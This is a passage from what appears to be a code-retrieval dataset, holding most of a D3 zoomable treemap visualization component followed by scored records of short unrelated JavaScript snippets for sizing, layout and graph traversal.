d3.descending(a[sort], b[sort]); })\n .sort(function (a, b) {\n return d3.ascending(a[sort], b[sort]);\n })\n .size([width, height])\n // .ratio(height / width * 0.5 * (1 + Math.sqrt(5)))\n .ratio(1)\n .round(false);\n }\n } else {\n if (showAsGrid) {\n return d3.layout.gridFit()\n .value(function (d) {\n return d[value];\n })\n .children(function (d) {\n return filter(d.children);\n })\n .sort(function (a, b) {\n return d3.ascending(a[sort], b[sort]);\n })\n .size([width, height])\n .ratio(1); //squares\n } else {\n return d3.layout.treemap()\n .padding(8)\n .children(function (d) {\n return filter(d.children);\n })\n .value(function (d) {\n return d[value];\n })\n .size([width, height])\n .sort(function (a, b) {\n return d3.ascending(a[sort], b[sort]);\n });\n }\n }\n }\n\n //Alex grande answer in http://stackoverflow.com/questions/5999998/how-can-i-check-if-a-javascript-variable-is-function-type\n function isFunction(functionToCheck) {\n let getType = {};\n return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';\n }\n\n self.loading = function () {\n div.select(\"#spinner\").style(\"display\", \"inline\");\n };\n\n self.init = function () {\n div = d3.select(htmlID).append(\"div\")\n .attr(\"id\", \"innerTreeMap\");\n\n div.append(\"div\")\n .attr(\"id\", \"spinner\")\n .style(\"position\", \"absolute\")\n .append(\"div\")\n .attr(\"id\", \"spinnerBG\")\n .append(\"div\")\n .style(\"padding-top\", \"45%\")\n .style(\"text-align\", \"center\")\n .text(\"Please wait...\");\n\n div.select(\"#spinner\")\n .append(\"img\")\n .attr(\"src\", \"img/spinner.gif\")\n .style(\"display\", \"inline\")\n .style(\"position\", \"absolute\");\n\n if (self.zoomable()) {\n // grandparent = div.append(\"div\")\n // .attr(\"class\", \"grandparent node\");\n }\n\n self.updateWindowSizes();\n self.loading();\n return self;\n };\n\n self.updateWindowSizes = function () {\n width = (self.width() !== undefined ? self.width() : document.getElementById(htmlID.slice(1)).offsetWidth) - self.margin.left - self.margin.right;\n height = (self.height() !== undefined ? self.height() : $(window).height()) - self.margin.top - self.margin.bottom;\n x.domain([0, width])\n .range([0, width]);\n\n y.domain([0, height])\n .range([0, height]);\n\n div.style(\"position\", \"relative\")\n .style(\"width\", (width + self.margin.left + self.margin.right) + \"px\")\n .style(\"height\", (height + self.margin.top + self.margin.bottom) + \"px\")\n .style(\"left\", self.margin.left + \"px\")\n .style(\"top\", self.margin.top + \"px\");\n\n div.select(\"#spinnerBG\")\n .style(\"width\", (width ) + \"px\")\n .style(\"height\", (height) + \"px\")\n .style(\"left\", \"0px\")\n .style(\"top\", \"0px\");\n\n div.select(\"#spinner img\")\n .style(\"left\", (self.margin.left + width / 2) + \"px\")\n .style(\"top\", (self.margin.top + height / 2) + \"px\");\n\n if (self.zoomable()) {\n // grandparent.style(\"padding\", \"5px 0px 0px 5px\")\n // .style(\"top\", \"-30px\")\n // .style(\"left\", \"0px\")\n // .style(\"width\", (width - 5) + \"px\")\n // .style(\"height\", \"30px\")\n // .style(\"background-color\", \"orange\");\n }\n treemap.size([width, height]);\n };\n\n function findNodeWithId(id) {\n let node, queue = [];\n\n queue.push(self.root);\n\n while (queue.length > 0) {\n node = queue.shift();\n\n if (node.id === id) {\n return node;\n } else {\n if (node.children) {\n queue = queue.concat(node.children);\n }\n if (node._children) {\n queue = queue.concat(node._children);\n }\n }\n }\n return undefined;\n }\n\n //Traverse the tree applying one function, and saving the result in d.attrib\n function treeTraverse(fn) {\n function treeTraverseHelper(node) {\n let filteredChildren = node.children !== undefined ? filter(node.children) : [];\n if (filteredChildren) {\n filteredChildren.map(treeTraverseHelper);\n }\n fn(node);\n }\n\n treeTraverseHelper(self.root);\n }\n\n function computeImageEntropies(node) {\n let start, end;\n let getQuadrantFn = function (d) {\n let img;\n if (d.img && d.quadrant === undefined) {\n img = isFunction(d.img) ? d.img(250) : d.img;\n d.quadrant = false; //To avoid recomputing\n shannon.getQuadrant(img, function (url, quad) {\n // dImgQuadrants.set(img, quad);\n d.quadrant = quad;\n\n d3.select(\"#node\" + d.id).select(\".nodeBG\")\n // .transition()\n // .duration(1000)\n .style(\"background-position\", nodeBGPosition(d));\n\n // console.log(\"Node \" + d.id + \" quad = \" + quad);\n });\n // console.log(img);\n }\n };\n start = new Date().getTime();\n\n let filteredChildren = node.children !== undefined ? filter(node.children) :\n node._children !== undefined ? filter(node._children) : [];\n filteredChildren.map(getQuadrantFn);\n\n end = new Date().getTime();\n\n // console.log('Computing entropies ' + node.label + ' time: ' + (end - start));\n }\n\n self.update = function (root, _currentNode) {\n div.select(\"#spinner\")\n .style(\"display\", \"none\");\n\n if (root !== undefined)\n self.root = root;\n\n if (_currentNode !== undefined) {\n currentNode = _currentNode;\n } else {\n if (currentNode === undefined) {\n currentNode = self.root;\n } else {\n currentNode = findNodeWithId(currentNode.path);\n if (currentNode === undefined) {\n // console.log(\"Couldn't find the previous currentNode\");\n // console.log(currentNode);\n currentNode = self.root;\n }\n }\n }\n\n // console.log(\"Update root:\");\n // console.log(self.root);\n // console.log(\"Update currentNode:\");\n // console.log(currentNode);\n\n treemap = getTreemap();\n if (self.zoomable()) {\n initialize(self.root);\n accumulate(self.root);\n // treemap.nodes(self.root);\n layout(self.root);\n // layout(currentNode);\n }\n\n //Draw, then animate\n let node = updateHelper(currentNode);\n updateImg(node);\n //LM Bug Fixed, the node text now does not disappear\n nodeAppendText(node);\n node.transition()\n .duration(750)\n .call(position)\n .each(\"end\", function () {\n if (useShannon) {\n computeImageEntropies(currentNode);\n }\n });\n\n // nodeUpdate(node);\n // jumpInto(self.root);\n // jumpInto(currentNode);\n return self;\n };\n\n function initialize(root) {\n root.x = root.y = 0;\n root.dx = width;\n root.dy = height;\n root.depth = 0;\n }\n\n // Aggregate the values for internal nodes. This is normally done by the\n // treemap layout, but not here because of our custom implementation.\n // We also take a snapshot of the original children (_children) to avoid\n // the children being overwritten when when layout is computed.\n function accumulate(d) {\n let filteredChildren = filter(d.children);\n if (filteredChildren) {\n d._children = d.children;\n let accum = filteredChildren.reduce(function (p, v) {\n return p + accumulate(v);\n }, 0);\n if (accumulateValue) {\n d[value] = accum;\n }\n }\n return d[value];\n }\n\n // Compute the treemap layout recursively such that each group of siblings\n // uses the same size (1×1) rather than the dimensions of the parent cell.\n // This optimizes the layout for the current zoom state. Note that a wrapper\n // object is created for the parent node for each group of siblings so that\n // the parent’s dimensions are not discarded as we recurse. Since each group\n // of sibling was laid out in 1×1, we must rescale to fit using absolute\n // coordinates. This lets us use a viewport to zoom.\n function layout(d) {\n if (filter(d._children)) {\n // treemap.size([d.dx, d.dy]);\n treemap.nodes({_children: filter(d._children)});\n filter(d._children).forEach(function (c) {\n //TODO: if we are passing the width/height such that the treemap knows the correct aspect ratio\n //this computation is not necessary\n // if (!showAsGrid) {\n // c.x = d.x + c.x * d.dx;\n // c.y = d.y + c.y * d.dy;\n // c.dx *= d.dx;\n // c.dy *= d.dy;\n // }\n c.x = d.x + c.x;\n c.y = d.y + c.y;\n\n c.parent = d;\n layout(c);\n });\n }\n }\n\n function name(d) {\n return d.parent !== undefined ?\n name(d.parent) + \".\" + d[label] :\n d[label];\n }\n\n function nodeBGPosition(d) {\n if (d.quadrant === undefined) {\n return \"center\";\n } else {\n // console.log(\"QUAD\");\n // console.log(d.quadrant);\n if (d.quadrant === 0) {\n // return \"top left\";\n return \"33% 33%\";\n } else if (d.quadrant === 1) {\n // return \"top right\";\n return \"66% 33%\";\n } else if (d.quadrant === 2) {\n // return \"bottom left\";\n return \"33% 66%\";\n } else if (d.quadrant === 3) {\n // return \"bottom right\";\n return \"66% 66%\";\n } else {\n console.error(\"Weird quadrant = \" + d.quadrant);\n // console.log(d);\n return \"center\";\n }\n }\n }\n\n function nodeEnter(sel) {\n // console.log(\"Node Enter\");\n let nodeDiv = sel.enter()\n .append(\"div\")\n .attr(\"class\", function (d) {\n return \"node\";\n })\n .classed(\"leaf\", function (d) {\n return !d._children;\n })\n .attr(\"id\", function (d) {\n return \"node\" + d.id;\n })\n .on(\"mouseover\", function (d, i) {\n // console.log(d);\n if (filter(d.children)) { //don't hover on parents\n return;\n }\n if (d.onMouseOver) {\n return d.onMouseOver(d, i, this);\n } else {\n // d3.select(\"#albums\").classed(\"selected\", true);\n d3.select(htmlID).classed(\"selected\", true);\n d3.selectAll(\"#node\" + d.id).classed(\"selected\", true);\n if (self.growable) {\n growNode(d, i, this);\n }\n }\n })\n .on(\"mouseout\", function (d, i) {\n if (filter(d.children)) { //don't hover on parents\n return;\n }\n if (d.onMouseOut) {\n return d.onMouseOut(d, i, this);\n } else {\n // d3.select(\"#albums\").classed(\"selected\", false);\n d3.select(htmlID).classed(\"selected\", false);\n d3.selectAll(\".node\").classed(\"selected\", false);\n if (self.growable) {\n shrinkNode(d, i, this);\n }\n }\n })\n .on(\"click\", function (d, i) {\n if (filter(d.children)) { //for parents remove pointer events\n return;\n }\n if (self.zoomable()) {\n if (d.onClick) {\n d.onClick(d, i, this);\n }\n if (d._children) {\n jumpInto(d);\n } else {\n if (d3.event.shiftKey && d.sUrl) {\n window.open(d.sUrl, '_blank');\n } else if (d.url) {\n window.open(d.url, '_blank');\n }\n }\n\n } else {\n if (d.onClick) {\n return d.onClick(d, i, this);\n } else {\n if (d3.event.shiftKey && d.sUrl) {\n window.open(d.sUrl, '_blank');\n } else if (d.url) {\n window.open(d.url, '_blank');\n }\n }\n }\n })\n .each(function (d) {\n d.position = position;\n if (filter(d.children)) { //for parents remove pointer events\n d3.select(this)\n .style(\"pointer-events\", \"none\")\n .selectAll(\"*\").remove();\n }\n })\n .style(\"width\", \"0px\")\n .style(\"height\", \"0px\");\n\n //Tooltip\n // nodeDiv.filter(showLabel).attr(\"title\", function (d) {\n // return d[label] + \"\\n\" + d[labelValue];\n // });\n\n nodeDiv.each(function (d) {\n if (filter(d.children)) {//Do not add the nodeText to the parent nodes\n return;\n }\n let nodeDiv = d3.select(this);\n nodeDiv.append(\"div\")\n .attr(\"class\", \"nodeBG\");\n nodeDiv.filter(()=>self.showLabel())\n .call(nodeAppendText);\n });\n if (self.animationDuration()) {\n nodeDiv = nodeDiv.transition();\n }\n nodeDiv\n .call(position);\n } //nodeEnter\n\n function nodeUpdate(sel) {\n // nodeDiv.call(position);\n // console.log(\"Node Update\");\n // sel.selectAll(\".node\")\n // sel.selectAll(\".node\")\n sel\n // .data(treemap.nodes)\n .classed(\"leaf\", function (d) {\n return filter(d.children);\n });\n // if (self.animationDuration()) {\n // sel = sel.transition();\n // }\n //Delete the labels from the ones that don't need it\n sel\n .filter(function (d) {\n return ()=>!self.showLabel();\n })\n .select(\".nodeText\")\n .remove();\n //Append the labels to the ones that need it\n sel\n .filter(()=>self.showLabel())\n .select(\".nodeText\")\n .remove();\n sel\n .call(position);\n if (showNodeTextTitle) {\n d3.selectAll(\".node\").select(\".nodeText\").select(\".nodeTextTitle\")\n .html(function (d) {\n // return filter(d.children) ? null : d[label];\n return d[label];\n });\n }\n if (showNodeTextValue) {\n d3.selectAll(\".node\").select(\".nodeText\").select(\".nodeTextValue\")\n .html(function (d) {\n // return filter(d.children) ? null : d.labelValue;\n return d.labelValue;\n });\n }\n\n // .transition()\n // .duration(1500)\n // .style(\"font-size\", function (d) { return d.children ? null : fScale(d[value]) + \"em\"; });\n } // nodeUpdate\n\n function nodeExit(sel) {\n // console.log(\"Node Exit\");\n let nExit = sel.exit();\n // .style(\"opacity\", \"1\")\n // .transition()\n // .duration(self.animationDuration() !== undefined ? self.animationDuration(): 750)\n // .style(\"opacity\", 0);\n\n nExit.selectAll(\"*\").remove();\n nExit.remove();\n // node.select(\".nodeText\").remove();\n } //nodeExit\n\n function nodeAppendText(sel) {\n // console.log(sel.select(\".nodeText\"));\n if (sel.select(\".nodeText\")[0].length > 1) {\n sel.select(\".nodeText\").remove();\n // console.log(sel.select(\".nodeText\"));\n }\n sel\n .filter(()=>showLabel)\n .append(\"div\")\n .attr(\"class\", \"nodeText\");\n if (showNodeTextTitle) {\n sel.select(\".nodeText\")\n .append(\"span\")\n .attr(\"class\", \"nodeTextTitle\")\n .html(function (d) {\n // return filter(d.children) ? null : d[label];\n return d[label];\n });\n }\n if (showNodeTextValue) {\n sel.select(\".nodeText\")\n .append(\"span\")\n .attr(\"class\", \"nodeTextValue\")\n .html(function (d) {\n // return filter(d.children) ? null : d[labelValue];\n //LM: Now the values use k, m or b\n return (Math.abs(Number(d[labelValue])) >= 1.0e+9\n ? parseFloat(Math.round(Math.abs(Number(d[labelValue])) / 1.0e+9 * 100) / 100).toFixed(2) + \"B\"\n : Math.abs(Number(d[labelValue])) >= 1.0e+6\n ? parseFloat(Math.round(Math.abs(Number(d[labelValue])) / 1.0e+6 * 100) / 100).toFixed(2) + \"M\"\n : Math.abs(Number(d[labelValue])) >= 1.0e+3\n ? parseFloat(Math.round(Math.abs(Number(d[labelValue])) / 1.0e+3 * 100) / 100).toFixed(2) + \"K\"\n : Math.abs(Number(d[labelValue]))) + \"\";\n });\n }\n setTimeout(()=>{\n sel\n .select(\".nodeText\")\n .style(\"font-size\", function (d) {\n // LM: Fix Bug, the font size of the node text now is relative to the width of the node\n //LM: Now the values use k, m or b\n const valueText = (Math.abs(Number(d[labelValue])) >= 1.0e+9\n ? parseFloat(Math.round(Math.abs(Number(d[labelValue])) / 1.0e+9 * 100) / 100).toFixed(2) + \"B\"\n : Math.abs(Number(d[labelValue])) >= 1.0e+6\n ? parseFloat(Math.round(Math.abs(Number(d[labelValue])) / 1.0e+6 * 100) / 100).toFixed(2) + \"M\"\n : Math.abs(Number(d[labelValue])) >= 1.0e+3\n ? parseFloat(Math.round(Math.abs(Number(d[labelValue])) / 1.0e+3 * 100) / 100).toFixed(2) + \"K\"\n : Math.abs(Number(d[labelValue]))) + \"\";\n\n const labelText = d[label]? d[label] : \" \";\n const fontSize = d.dx/(valueText.length + labelText.length )< 20 ? d.dx/(valueText.length + labelText.length ) : 20;\n return fontSize + \"px\";\n });\n },1)\n }\n\n self.jumpIntoRandom = function () {\n let options = [], i;\n //Treemap is not drawn yet\n if (!currentNode) {\n return;\n }\n //Build options with childrens and parent if they exist\n if (currentNode && currentNode.children) {\n for (i = 0; i < currentNode.children.length; i++) {\n if (currentNode.children[i]._children) {\n options.push(currentNode.children[i]);\n }\n }\n }\n if (currentNode && currentNode.parent) {\n for (i = 0; i < currentNode.children.length; i++) {\n // I add up many times the parent to give 50% chances of going up\n options.push(currentNode.parent);\n }\n }\n\n //Choose one node at random\n let randI = Math.floor(Math.random() * options.length);\n let randomNode = options[randI];\n\n if (randomNode) {\n // console.log(\"jumpIntoRandom jump into \");\n // console.log(randomNode);\n jumpInto(randomNode);\n } else {\n console.error(\"jumpIntoRandom couldn't find a node\");\n }\n };\n\n\n function jumpInto(d) {\n let node = d;\n if (node.oldX) node.x = node.oldX;\n if (node.oldY) node.y = node.oldY;\n if (node.oldDx) node.dx = node.oldDx;\n if (node.oldDy) node.dy = node.oldDy;\n\n // //Disable the nodes from the old root\n // if (d.children) {\n // d.children.forEach(disable);\n // }\n // disable(d);\n\n //Avoid jumping to more than one level depth at a time\n while (node.depth > currentDepth + 1) {\n node = node.parent;\n }\n currentNode = d;\n // console.log(\"Jump INTO \");\n // console.log(node);\n // console.log(\"jump into currentNode\");\n // console.log(currentNode);\n jumpIntoHelper(node);\n }\n\n function addBaseDepth(d) {\n return div.insert(\"div\", \".grandparent\")\n .datum(d, function (d) {\n return d.id;\n })\n .attr(\"class\", \"depth\");\n }\n\n let jumpIntoHelper = function (d) {\n if (transitioning || !d) return;\n\n if (d.onJumpInto) {\n d.onJumpInto(d);\n }\n currentDepth = d.depth;\n transitioning = true;\n // console.log(\"Transitioning \" + d.id);\n // console.log(d);\n // grandparent\n // .datum(d.parent, function (d) { return d.id; })\n // .on(\"click\", jumpIntoHelper)\n // .text(name(d));\n let t1;\n if (oldDepth === undefined) {\n oldDepth = d3.selectAll(\".depth\");\n }\n t1 = oldDepth.transition().duration(ZOOM_TRANSITION_DURATION);\n\n //Mark the old depth as .oldDepth before creating the new depth\n d3.select(\".depth\").attr(\"id\", \"oldDepth\");\n // oldDepth = d3.select(\".depth\").attr(\"id\", \"oldDepth\");\n\n oldDepth = addBaseDepth(d);//The selection where the animation will work\n\n let g2 = updateHelper(d, oldDepth);\n let t2 = g2.transition().duration(ZOOM_TRANSITION_DURATION);\n\n // Update the domain only after entering new elements.\n x.domain([d.x, d.x + d.dx]);\n y.domain([d.y, d.y + d.dy]);\n\n // // Enable anti-aliasing during the transition.\n // svg.style(\"shape-rendering\", null);\n\n // // Draw child nodes on top of parent nodes.\n div.selectAll(\".depth\").sort(function (a, b) {\n return a.depth - b.depth;\n });\n\n // // Fade-in entering text.\n // g2.selectAll(\"text\").style(\"fill-opacity\", 0);\n\n // Transition to the new view.\n // t1.selectAll(\"text\").call(text).style(\"fill-opacity\", 0);\n // t2.selectAll(\"text\").call(text).style(\"fill-opacity\", 1);\n t1.selectAll(\".node\").call(position);\n t2.call(position);\n\n // nodeUpdate();\n t1.selectAll(\".node\").select(\".nodeBG\").style(\"opacity\", 0);\n t1.selectAll(\".node\").style(\"opacity\", 0);\n t2.select(\".nodeBG\").style(\"opacity\", 1);\n // // Remove the old node when the transition is finished.\n t1.remove().each(\"end\", function (sel) {\n // svg.style(\"shape-rendering\", \"crispEdges\");\n transitioning = false;\n //Update the image after the animation ends\n // console.log(\"Transition finished\");\n // g2.call(position);\n // console.log(sel);\n if (useShannon) {\n computeImageEntropies(d);\n }\n\n });\n\n }; //transition\n\n let drawBreadCrum = function (d) {\n let pathList = [];\n let tmpNode = d;\n\n //Create a list with all the ancestors of the current node d\n while (tmpNode !== undefined) {\n pathList.push(tmpNode);\n tmpNode = tmpNode.parent;\n }\n\n let breadCrums = d3.select(breadCrumsHtmlID)\n .selectAll(\".breadCrum\")\n .data(pathList.reverse());\n breadCrums.enter()\n .append(\"span\")\n .attr(\"class\", \"breadCrum\");\n breadCrums\n .on(\"click\", jumpInto)\n .text(function (d, i) {\n return d[label].charAt(0).toUpperCase() + d[label].slice(1);\n })\n .each(function (d, i) {\n if (i < ( pathList.length - 1 )) {\n d3.select(this)\n .append(\"span\")\n .attr(\"class\", \"breadCrumArrow\")\n .text(\" > \")\n }\n });\n\n breadCrums.exit()\n .remove();\n };\n\n let updateHelper = function (d, selection, doUpdate) {\n transitioning = false;\n self.currentRoot = d;\n drawBreadCrum(d);\n doUpdate = doUpdate === undefined ? true : doUpdate;\n d3.select(\"body\").on(\"keydown\", function (e) {\n if (self.zoomable() && d3.event.keyCode === 27) {\n jumpInto(self.currentRoot.parent !== undefined ? self.currentRoot.parent : self.root);\n }\n });\n\n //If not selection given use the current div\n if (selection === undefined) {\n if (self.zoomable()) {\n //Try getting the oldDepth\n if (oldDepth === undefined) {\n oldDepth = d3.selectAll(\".depth\");\n }\n\n //If there are no current depth create it\n if (oldDepth[0].length === 0) {\n oldDepth = addBaseDepth(d);\n }\n\n selection = oldDepth;\n } else {\n selection = div;\n }\n }\n\n let nodes;\n treemap.size([d.dx, d.dy]);\n let prevx = d.x, prevy = d.y;\n // if(self.zoomable()) {\n // nodes = filter(d._children);\n // } else {\n nodes = treemap.nodes(d);\n // }\n // d._children.forEach(function (c) {\n // c.x += prevx;\n // c.y += prevy;\n // });\n\n let node = selection.selectAll(\".node\")\n .data(nodes, function (d) {\n return d.path + d.id;\n });\n // .data(nodes);\n\n // Draw child nodes on top of parent nodes.\n selection.selectAll(\".depth\").sort(function (a, b) {\n return a.depth - b.depth;\n });\n\n fScale.domain(d3.extent(nodes, function (d) {\n return d[value];\n }));\n\n if (self.chainedAnimations()) {\n //Chain the events nicely\n d3.transition().duration(500).each(function () {\n //Exit\n nodeExit(node);\n }).transition().duration(500).each(function () {\n //Update\n nodeUpdate(node);\n }).transition().duration(500).each(function () {\n //Enter\n nodeEnter(node);\n });\n } else {\n nodeExit(node);\n // TODO Find a better fix\n // nodeUpdate(node);\n nodeEnter(node);\n }\n\n treemap.size([width, height]);\n nodes = treemap.nodes(d);\n\n // // Update the domain only after entering new elements.\n // x.domain([d.x, d.x + d.dx]);\n // y.domain([d.y, d.y + d.dy]);\n // computeImageEntropies(d);\n return node;\n }; //updateHelper\n\n //Animate a node to make it grow to show the whole photo\n function growNode(n, i, ele) {\n // console.log(\"grow n.id\" + n.id);\n let imageSrc = d3.select(ele)\n .select(\".nodeBG\")\n .style(\"background-image\")\n .replace(/url\\((['\"])?(.*?)\\1\\)/gi, '$2')\n .split(',')[0];\n\n // I just broke it up on newlines for readability\n let image = new Image();\n image.src = imageSrc;\n\n let width = image.width,\n height = image.height;\n\n let ratio = width / height;\n\n // if (n.dx > width) {\n // width = n.dx;\n // height = width/ratio;\n // }\n // if (n.dy > height) {\n // height = n.dy;\n // width = ratio*height;\n // }\n\n // console.log(\"children \" + n.label + \" id \" + n.id + \" x = \" + n.x + \" dx \" + n.dx + \" i \" + n.i);\n n.oldDx = n.dx;\n n.oldDy = n.dy;\n n.oldX = n.x;\n n.oldY = n.y;\n n.dx = x.invert(image.width + x(n.x)) - n.x;\n n.dy = y.invert(image.height + y(n.y)) - n.y;\n // n.x = n.oldX - (n.dx - n.oldDx) / 2;\n // n.y = n.oldY - (n.dy - n.oldDy) / 2;\n\n d3.select(ele)\n .transition()\n .delay(100)\n .call(position);\n }\n\n //Animate a node to make it shrink back to normal\n function shrinkNode(n, i, ele) {\n // console.log(\"shrink n.id\" + n.id);\n n.dx = n.oldDx;\n n.dy = n.oldDy;\n n.x = n.oldX;\n n.y = n.oldY;\n n.oldX = n.oldY = n.oldDx = n.oldDy = undefined;\n d3.select(ele).transition().call(position);\n }\n\n let updateImg = function (sel) {\n // console.log(\"updateImg\");\n sel.select(\".nodeBG\")\n .style(\"background-position\", nodeBGPosition)\n .style(\"background-image\", function (d) {\n // if (d.children)\n // return null;\n if (self.showPhotos && d.img) {\n if (isFunction(d.img)) {\n // return \"url(\" + String(d.img(d.dx)) + \")\";\n return \"url(\" + String(d.img(Math.max(\n x(d.x + Math.max(0, d.dx)) - x(d.x),\n y(d.y + Math.max(0, d.dy)) - y(d.y)))) + \")\";\n } else {\n return \"url(\" + String(d.img) + \")\";\n }\n } else {\n return \"\";\n }\n });\n };\n\n let position = function (sel) {\n let originalSel = sel;\n\n if (self.animationDuration() !== undefined && self.animationDuration() !== 0) {\n sel = sel.transition()\n .duration(self.animationDuration() !== undefined ? self.animationDuration() : 750);\n }\n\n if (self.animationDuration() !== undefined && self.animationDuration() !== 0) {\n sel = sel.transition()\n .duration(self.animationDuration() !== undefined ? self.animationDuration() : 750);\n }\n\n //After transition if any\n sel\n .style(\"left\", function (d) {\n return x(d.x) + self.padding() + \"px\";\n })\n .style(\"top\", function (d) {\n return y(d.y) + self.padding() + \"px\";\n })\n .style(\"width\", function (d) {\n return x(d.x + Math.max(0, d.dx)) - x(d.x) - self.padding() + \"px\";\n })\n .style(\"height\", function (d) {\n return y(d.y + Math.max(0, d.dy)) - y(d.y) - self.padding() + \"px\";\n });\n sel.select(\".nodeBG\")\n // .style(\"background-size\", function (d) {\n // return Math.max(0, d.dx - 1) + \"px \" + Math.max(0, d.dy - 1) + \"px\";\n // })\n .style(\"background-color\", function (d) {\n return filter(d.children) ? null : color(d[label]);\n });\n\n sel.select(\".nodeText\")\n // .style(\"position\", \"relative\");\n // .style(\"visibility\", function (d) { return (d.dx < MIN_SIZE_FOR_TEXT) ? \"hidden\" : \"visible\"; })\n // .style(\"left\", function(d) { return (x(d.x + d.dx) - x(d.x) / 2) + \"px\"; })\n\n if (self.zoomable()) {\n sel.select(\".nodeText\")\n // .style(\"left\", function (d) {\n // return 0 + \"px\";\n // })\n // .style(\"top\", function (d) {\n // return (y(d.y + d.dy) - y(d.y) - TEXT_HEIGHT ) / 2 + \"px\";\n // });\n } else {\n sel.select(\".nodeText\")\n .style(\"left\", function (d) {\n return 0 + \"px\";\n })\n .style(\"top\", function (d) {\n return (y(d.y + d.dy) - y(d.y) - TEXT_HEIGHT) + \"px\";\n });\n }\n // sel.select(\".nodeTextTitle\")\n // .style(\"width\", function(d) { return x(d.x + d.dx) - x(d.x) + \"px\"; });\n updateImg(originalSel);\n };\n\n self.jumpInto = jumpInto;\n self.nodePosition = position;\n\n self.init();\n return self;\n}", "title": "" }, { "docid": "e36c130236689f047a8458ab12711632", "score": "0.5088113", "text": "function updatePileCounts(draft) {\n draft.common.pileSizes[0] = draft.piles[0].length;\n draft.common.pileSizes[1] = draft.piles[1].length;\n draft.common.pileSizes[2] = draft.piles[2].length;\n draft.common.pileSizes[3] = draft.piles[3].length;\n}", "title": "" }, { "docid": "d3fb9f84eb80871080cf78ce61bb1409", "score": "0.50846046", "text": "constructor() {\n this.map = {};\n this.size = 0;\n }", "title": "" }, { "docid": "0f6f0776fc6f84c54360104c4d8a451a", "score": "0.50757366", "text": "function changeLabelFontSize(new_size) {\n try {\n var cy= $('#cy').cytoscape('get'); // now we have a global reference to `cy`\n console.log(\"changeLabelFontSize>> new_size: \"+ new_size);\n cy.style().selector('node').css({ 'font-size': new_size }).update();\n cy.style().selector('edge').css({ 'font-size': new_size }).update();\n }\n catch(err) {\n console.log(\"Error occurred while altering label font size. \\n\"+\"Error Details: \"+ err.stack);\n }\n }", "title": "" }, { "docid": "8e945e12769c74101a88f7525f8375b2", "score": "0.50588405", "text": "limit () {\n if (this.length > this.depth) {\n for (let i = this.depth; i < this.length; i++) {\n // diff\n this.hashmap.delete (this.index[i])\n this.index[i] = Number.MAX_VALUE\n }\n this.length = this.depth\n }\n }", "title": "" }, { "docid": "8851fb43c27fe2838bf5a3e6e9d57dc6", "score": "0.50528604", "text": "function markerSize(magnitude) {\r\n return magnitude * 5;\r\n}", "title": "" }, { "docid": "ca191d27bcae0846933bcc567dfe9cbb", "score": "0.50506395", "text": "setTileSize (tile_size) {\n this.tile_size = tile_size || 256;\n if (typeof this.tile_size !== 'number' || this.tile_size < 256 || !Utils.isPowerOf2(this.tile_size)) {\n log({ level: 'warn', once: true },\n `Data source '${this.name}': 'tile_size' parameter must be a number that is a power of 2 greater than or equal to 256, but was '${tile_size}'`);\n this.tile_size = 256;\n }\n\n // # of zoom levels bigger than 256px tiles - 8 in place of log2(256)\n // Many Tangram functions assume 256px tiles, this factor adjusts for the\n // case of bigger tile sizes - eg 512px tiles are 1 zoom level bigger,\n // 1024px tiles are 2 levels bigger\n this.zoom_bias = Math.log2(this.tile_size) - 8 + this.zoom_offset;\n }", "title": "" }, { "docid": "fbc09aa5bb6a39be57b3aa81ce007226", "score": "0.5046984", "text": "function tilesetSize(width, height){\n\n $tileset.width = width;\n $tileset.height = height;\n\n }", "title": "" }, { "docid": "d225840228f532cd68c400969668d22c", "score": "0.5044101", "text": "function markerSize(mag) {\n return mag * 15000;\n}", "title": "" }, { "docid": "56fb29a671f016df8f6281d8f74f2575", "score": "0.50361985", "text": "function computeNodeValues() {\n nodes.forEach(function(node) {\n\tnode.value = sizeFromPopularity(node.popularity);\n });\n }", "title": "" }, { "docid": "2d3260f626fbf0cba0bfd1e93bacaf3a", "score": "0.5033665", "text": "function getCenters(size, centers) {\n var map = d3.layout.treemap()\n .size(size).ratio(1)\n .sort(null)\n .nodes({children: centers}); \n return centers;\n }", "title": "" }, { "docid": "50fc96b20f862f6877ff408e66aa8d1a", "score": "0.5033568", "text": "vt(t, n) {\n let e = this.bt;\n for (let n = 0; n < t.length - 1; ++n) {\n const r = t.get(n);\n let s = e.get(r);\n s instanceof Map ? \n // Re-use a previously created map\n e = s : s && 10 /* ObjectValue */ === rt(s) ? (\n // Convert the existing Protobuf MapValue into a map\n s = new Map(Object.entries(s.mapValue.fields || {})), e.set(r, s), e = s) : (\n // Create an empty map to represent the current nesting level\n s = new Map, e.set(r, s), e = s);\n }\n e.set(t.M(), n);\n }", "title": "" }, { "docid": "a765a88fe7684209965780e20a98d714", "score": "0.50264716", "text": "function resize() {\n var targetWidth = parseInt(container.style(\"width\"));\n svg.attr(\"width\", targetWidth);\n svg.attr(\"height\", Math.round(targetWidth / aspect));\n svg.selectAll(\"text\")\n // .style('font-size', \".8em\");\n\n svg.selectAll(\"text.axisLabel\")\n // .style('font-size', \"1.1em\");\n\n // console.log(targetWidth);\n\n }", "title": "" }, { "docid": "ca7fcf79094b2e2be450ce947a9d90ac", "score": "0.50238395", "text": "function setSize(){\r\n // sets size of array \r\n size = size_in.value;\r\n width = container.offsetWidth/size;\r\n generateArray();\r\n createArrows();\r\n}", "title": "" }, { "docid": "110ad8502db58f29dac3ecab1798a904", "score": "0.50162584", "text": "function countGroups() {\n var sizeMap = {};\n var visited = new Set();\n\n // do bfs on each single graph and count their sizes\n for (var i = 0; i < people.length; i++) {\n if (visited.has(i)) continue;\n visited.add(i);\n var count = 0;\n var inCurGraph = [];\n inCurGraph.push(i);\n while (inCurGraph.length > 0) {\n var curPerson = graph.people[inCurGraph.shift()];\n count++;\n curPerson.neighbors.forEach(function(p) {\n if (!visited.has(p)) inCurGraph.push(p);\n visited.add(p);\n });\n }\n\n if (!sizeMap[count]) sizeMap[count] = [];\n sizeMap[count].push(i);\n } \n return sizeMap;\n}", "title": "" }, { "docid": "18c4d569cb6d878d104f060ee8a3d1e9", "score": "0.50153494", "text": "updateBiggestSize() {\n if (this.width > this.biggestSize) {\n this.biggestSize = this.width;\n }\n }", "title": "" }, { "docid": "49b71b284fc2a9b68046731591f54eb6", "score": "0.50129634", "text": "function markerSize(magnitude){\n return magnitude * 4;\n}", "title": "" }, { "docid": "27b41ea39eeba33b686ae3fa40fb8c85", "score": "0.5011922", "text": "function scaleItems() {\n if (rescale) {\n d3.select('svg').selectAll('tmp')\n .data(items).enter()\n .append('text')\n .text(function(d){ return d; })\n .style(style.text)\n .attr('x', -1000)\n 